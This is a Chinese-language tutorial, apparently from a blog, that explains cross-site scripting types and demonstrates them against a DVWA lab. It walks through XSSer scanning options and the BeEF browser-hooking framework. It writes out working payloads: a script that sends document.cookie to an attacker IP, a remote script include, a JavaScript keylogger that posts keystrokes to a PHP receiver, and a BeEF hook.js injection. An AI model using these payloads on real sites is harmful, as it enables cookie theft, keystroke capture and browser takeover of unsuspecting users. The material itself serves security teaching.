XSS原理及其相應工具使用

 

XSS(厲害程度:只要js能實現什麼功能,xss就能對client形成什麼傷害):php

 

原理:經過web站點漏洞,向客戶端交付惡意腳本代碼,實現對客戶端的攻擊目的html

 

主要攻擊目的(網頁掛馬:經過XSS向前端頁面插入一個包含惡意js的連接,client訪問這個頁面時就同時請求執行了該惡意js,這個惡意js就是網頁木馬)前端

1、盜取cookie(收集存在XSS漏洞網站用戶的cookie)web

2、重定向(訪問真實頁面時直接跳轉到博彩頁面或者釣魚網站)瀏覽器

3DDOS第三方(把須要大量算力的URL貼在存在XSS漏洞的網站上,這樣訪問該網站的用戶就都會去請求那個須要大量算力的URL,進而對該URL服務器進行CC攻擊)安全

 

 

分類:服務器

1、存儲型(持久型)  ===> js腳本上傳至server,其餘用戶訪問server時都會加載這個jse.g: 論壇發帖,server沒有對帖子內容進行過濾,致使上傳了一段js腳本cookie

2、反射型(非持久)(發給目標什麼東西就必須返回什麼東西,不能有變化)  ===> client將惡意js發給server(client可將js包含在get請求頭中)server再將這個js返回給clientclient就能在瀏覽器裏運行這個js了  ===> 經過社工方式將帶有js腳本的連接發送給受害者,e.g: http://1.1.1.1/id=js腳本app

3DOM(本質上也是一種反射型)   ===> 沒必要將js上傳至server就能在client執行xss

 

 

 

POC驗證原理:

 

向全部變量注入js代碼進行測試

 

測試語句(Poc)

<script>alert('xss')</script>   ===> js彈窗

<a href=http://192.168.1.1>click</a>   ===> html超連接

<script>window.location='http://www.baidu.com'</script>   ===> 重定向至百度

<script>new Image().src="http://172.20.163.101/admin.php?output="+document.cookie;</script>   ===> cookie發送至172.20.163.101

<script src=http://172.20.163.101/a.js></script>  ===> 自動請求http://172.20.163.101/a.js,能夠在http://172.20.163.101/a.js存放真正的惡意js腳本

 

 

 

 

網頁掛馬實現舉例(鍵盤記錄功能)

 

原理:

1、經過xss將網頁木馬文件連接上傳至漏洞服務器  <script src=http://172.20.163.101/a.js></script>

2client訪問該服務器時將請求並執行http://172.20.163.101/a.js

3a.jsclient的鍵盤記錄發送至指定服務器   ("POST","http://172.20.163.101/keylogger.php",true)

 

 

鍵盤記錄器(js代碼)

 

document.onkeypress = function(evt) {

  evt = evt || window.event

  key = String.fromCharCode(evt.charCode)

  if (key) {

    var http = new XMLHttpRequest();

    var param = encodeURI(key)

    http.open("POST","http://172.20.163.101/keylogger.php",true);   =====> 將記錄到的結果發送到http://172.20.163.101/keylogger.php

    http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

    http.send("key="+param);

  }

}

 

 

密碼接收器(php代碼,注意:此代碼只能記錄當前頁面的鍵盤記錄,不能記錄其餘網站頁面的鍵盤記錄)

 

<?php

$key=$_POST['key'];

$logfile="keylog.txt";      ======> 將接收到的結果存在keylog.txt文件內

$fp = fopen($logfile, "a");

fwrite($fp, $key);

fclose($fp);

?>

 

 

 

 

 

 

Xsser(XSS漏洞檢測工具)

 

xsser --gtk   ===> 圖形化界面打開方式

 

xsser使用舉例: xsser -u "http://172.20.163.115/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=34554fae634cb96063453427536bda0b" -s -v --reverse-check

 

-u 待檢測url(注意:只寫到倒數第二級目錄)

-g 使用GET方法,使用POST方法時可換用'-p'參數。後跟要檢測的變量名稱(注意要帶上變量上一級目錄)

--cookie cookie信息

-s 顯示總共發送了多少次探測payload

-v 顯示詳細信息

--reverse-check:若是不加這個參數xsser會只發送一個hash值給服務器,看是否能將該hash原封不動的返回回來。可是這樣可能會有一個問題:服務器沒有過濾hash值,但過濾了html(js)代碼,形成了xsser顯示有xss漏洞,可是不能真正利用。加這個參數後xsser會再發送一個真正的js腳原本檢測(發送的js腳本功能爲主動鏈接本身某個端口,若是xsser發現將js發送過去後它又來鏈接本身制定端口了就說明對方存在xss漏洞)

 

 

--heuristic 檢查被過濾的字符(有些安全設備可能會過濾掉一些特定字符,利用此參數能夠查看安全設備過濾掉了哪些字符)(原理:按個兒發送單個可能被過濾的字符,看是否有返回這個字符)

 

如下參數爲對提交的數據進行編碼

--Str               Use method String.FromCharCode()

--Une               Use Unescape() function

--Mix               Mix String.FromCharCode() and Unescape()

--Dec               Use Decimal encoding

--Hex               Use Hexadecimal encoding

--Hes               Use Hexadecimal encoding with semicolons

--Dwo               Encode IP addresses with DWORD

--Doo               Encode IP addresses with Octal

--Cem=CEM           Set different 'Character Encoding Mutations'

                        (reversing obfuscators) (ex: 'Mix,Une,Str,Hex')

 

除指定變量外再對一些特殊的地方注入:

--Coo               COOKIE進行xss注入檢測

--Xsa               user-agent進行xss注入檢測

--Xsr               Referer進行xss注入檢測

--Dcp               對數據控制協議進行xss注入檢測

--Dom               DOM型進行xss注入檢測

--Ind               IND - HTTP Response Splitting Induced code

--Anchor            ANC - Use Anchor Stealth payloader (DOM shadows!)

 

 

 

 

 

 

 

beef(能夠操縱用戶的瀏覽器)

 

利用XSS漏洞或者中間人劫持將特定js<script src="http://<beef服務器的IP>:3000/hook.js"></script>)插入網頁,這個js將控制客戶端瀏覽器並返連至beef服務器。

 

換句話說:<script src="http://<beef服務器的IP>:3000/hook.js"></script> 就是一個js木馬,beef服務器就是木馬的server端。

 

 

菜單詳解:

 

Details: 瀏覽器、插件版本信息;操做系統信息

 

Logs:記錄瀏覽器的動做,好比焦點變化、鼠標點擊、信息輸入等

 

Commands:命令模塊

綠色模塊:表示模塊適合目標瀏覽器,而且執行結果對客戶端不可見

紅色模塊:表示模塊不適用於當前用戶,有些紅色模塊也可正常執行

橙色模塊:模塊可用,但結果對用戶可見(CAM彈窗申請權限等)

灰色模塊:模塊未在目標瀏覽器上測試過

相關文章
相關標籤/搜索